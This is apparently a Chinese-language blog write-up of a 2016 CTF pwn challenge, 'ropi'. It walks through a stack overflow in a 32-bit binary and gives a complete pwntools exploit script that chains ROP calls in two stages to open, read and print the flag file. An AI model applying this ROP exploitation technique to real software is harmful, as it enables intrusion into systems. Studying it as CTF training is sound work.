lce-ctf 2016 ropi

这道rop题主要是考虑到rop链长度不够的问题,还有就是通过pop_ret调整参数位置使得其成功满足函数条件。这道题最大的收获就是做题要耐心,只要耐心思路清晰肯定能发现问题,一定不要急躁。

第一步还是分析文件格式和保护措施。

1
2
3
4
5
6
[*] '/home/wood/pwn/i_chunqiu/ROP/lce_Ctf2016/ropi'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
1
ropi: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.24, BuildID[sha1]=5e2ed875c2a5f3b2df94f42bd7f82893b288559f, not stripped

文件32位并且没有PIE,然后先用IDA反汇编可以看到ezy函数中的read函数存在栈溢出。

1
2
3
4
5
6
7
8
ssize_t ezy()
{
char buf; // [esp+10h] [ebp-28h]

puts("Benvenuti al convegno RetOri Pro!\nVuole lasciare un messaggio?");
fflush(stdout);
return read(0, &buf, 0x40u);
}

然后观察这个文件里的其它函数,看看有没有什么其它奇怪的函数和system函数以及系统调用等。果然发现了几个很有用的函数。

1
2
3
4
5
6
7
8
9
10
11
int __cdecl ret(int a1) #打开flag文件
{
if ( a1 != 0xBADBEEEF )
{
puts("chiave sbagliata! :(");
exit(1);
}
fd = open("./flag.txt", 0);
puts("[+] aperto");
return fflush(stdout);
}
1
2
3
4
5
6
7
8
9
10
11
int __cdecl ori(int a1, int a2) #将flag文件内容写入dati中
{
if ( a1 != 0xABCDEFFF && a2 != 0x78563412 )
{
puts("chiave sbagliata! :((");
exit(1);
}
read(fd, &dati, 0x80u);
puts("[+] leggi");
return fflush(stdout);
}
1
2
3
4
5
6
int pro() #输出dati中的内容
{
puts("[+] stampare");
printf("%s", &dati);
return fflush(stdout);
}

分析可知我们只需依次执行这三个函数,就可以拿到flag。然而构造完payload以后发现并没有成功获取flag,这时通过gdb.attach下断点动态调试(一般下在ret处),通过一些有用的命令(如下)查看内存中数据的情况,我发现了payload超出了read的读入范围,于是分两次payload将这三个函数依次调用,拿到了flag。

1
2
stack --100 查看栈上的值
x/20wx $ebp+4 查看该函数的返回地址以及前四个参数

下面是这道题的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
sh = process('./ropi')

offset = 44
ret = 0x8048569
ori = 0x80485C4
ret_a1 = 0xBADBEEEF #ret第一个参数
ori_a1 = 0xABCDEFFF #ori第一个参数
ori_a2 = 0x78563412 #ori第二个参数
pro = 0x0804862C
ezy = 0x804852D
pop_ret = 0x08048395

payload = '' #先调用ret函数然后返回到ezy函数重新溢出
payload += offset * 'a'
payload += p32(ret)
payload += p32(pop_ret)
payload += p32(ret_a1)
payload += p32(ezy)

sh.recvuntil('Vuole lasciare un messaggio?')
sh.sendline(payload)

payload2 = '' #再次溢出调用ori和pro函数
payload2 += offset*'a'
payload2 += p32(ori)
payload2 += p32(pro)
payload2 += p32(ori_a1)
payload2 += p32(ori_a2)

sh.recvuntil('Vuole lasciare un messaggio?')
sh.sendline(payload2)

sh.interactive()
-------------本文结束感谢您的阅读-------------
+ +